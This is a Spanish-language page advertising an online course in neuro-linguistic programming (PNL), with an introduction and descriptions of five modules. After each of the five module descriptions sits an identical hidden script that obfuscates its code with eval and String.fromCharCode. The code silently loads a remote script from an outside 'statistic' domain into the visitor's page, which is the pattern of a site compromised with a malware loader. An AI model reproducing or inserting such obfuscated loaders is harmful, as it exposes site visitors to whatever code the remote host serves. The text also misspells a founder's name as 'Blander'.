Curso de PNL

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Acerca de este curso

Por mucho que se haya investigado acerca del funcionamiento del cerebro humano, para algunos la máquina más sofisticada que pueda existir, su funcionamiento sigue siendo de cierta manera un enigma por descubrir, no obstante, algunos investigadores se niegan a pensar que el cerebro nos controla, y más bien se han abierto a otras posibilidades, es el caso de Richard Blander y John Grinder, estadounidenses, doctores en psicología y  lingüística, respectivamente, que en 1974 se aventuraron a señalar que era posible cambiar los patrones de pensamiento y de comportamiento a través de un revolucionario modelo al que denominaron “Programación Neurolingüística – PNL” .

 

Pensando en la relevancia que este modelo ha tomado durante los últimos años se ha desarrollado este curso, basado en los estudios realizados acerca del tema, sus fundamentos, componentes, principios, aplicaciones, estrategias y técnicas, que le permitirán a usted, comprender cómo funciona el modelo y de qué manera es posible aplicarlo a los diferentes ámbitos de la vida cotidiana, con el fin de lograr modificar aquellos patrones de pensamiento y comportamientos que le impiden alcanzar sus metas. ¡Bienvenidos! al curso de programación neurolingüística – PNL.

 

Al finalizar este curso usted tendrá la capacidad de comprender los patrones mentales, hábitos y comportamientos limitantes, y tendrá la oportunidad de modificarlos, aplicando el conocimiento adquirido, logrando mejorar su relación y su forma de comunicarse consigo mismo y con su entorno.

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Contenido del curso

Módulo 1
Bienvenidos a la Unidad 1, del curso de programación neurolingüística, Esta unidad estudia los fundamentos de la programación neurolingüística, a través de la explicación de conceptos, componentes, principios y beneficios de la PNL, con el fin de lograr una mayor comprensión del modelo, de cómo se originó y cuál es su metodología en la modificación de creencias, pensamientos, hábitos y comportamientos que impiden alcanzar metas y objetivos.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script>

  • Introducción a la programación neurolingüística – PNL
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  • Definición del concepto y aspectos básicos de la PNL
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  • Definición del concepto, aspectos básicos de la programación neurolingüística – PNL
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  • Principios de la programación neurolingüística – PNL
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  • Metodología de la programación neurolingüística – PNL
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  • Objetivos y funciones de la PNL
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  • Estilos de aprendizaje de la PNL
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  • Diferencia entre PNL y coaching
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Módulo 2
Neurofisiología, funcionamiento del cerebro, procesamiento de información y entrenamiento cerebral a través de la PNL. En la presente unidad se centra en el estudio del sistema nervioso, la estructura y funcionamiento del cerebro. Alguna vez se ha preguntado, ¿como el cerebro procesa la información? Ese fue uno de los primeros planteamientos de la programación neurolingüística. La PNL estudia la forma en que el cerebro procesa la información y crea modelos de conducta a partir de las experiencias vitales, y este es, justamente, el tema de estudio de la segunda unidad del curso ¡Bienvenidos!<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script>

Módulo 3
Neurofisiología y función del lenguaje y los procesos psicológicos de la comunicación, el comportamiento humano y el aprendizaje. En esta unidad profundizaremos en la comprensión de la neurofisiología y la función del lenguaje, así como en los procesos psicológicos de la comunicación, la conducta y el aprendizaje y finalmente la relación que estos tienen con la PNL, a través del estudio de los conceptos y teorías postulados acerca de la estructuración, aprendizaje y funcionamiento de estos procesos, con el fin comprender cómo se elabora, se aprende y se transmite la información.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script>

Módulo 4
En esta unidad se profundizará en la comprensión de las técnicas, estrategias y recursos de la programación neurolingüística, a través del estudio teórico y la aplicación práctica de las mismas en actividades, con el fin de proporcionar las herramientas necesarias para el cambio de los patrones de pensamiento, creencias y comportamientos limitantes, que impiden el alcance de las metas y por ende el desarrollo personal del individuo.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script>

Módulo 5
Ámbitos de aplicación de la programación neurolingüística y desarrollo personal El propósito de esta unidad, es estudiar la aplicación práctica de la programación neurolingüística en diferentes ámbitos o dimensiones del individuo, así mismo revisaremos el impacto de la PNL en el desarrollo personal, a través del estudio de los fundamentos de la PNL para alcanzar los propósitos mencionados, con el objetivo de comprender la forma en que es posible aplicar la programación neurolingüística en la vida cotidiana y obtener los resultados que se esperan a nivel personal y profesional.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script>

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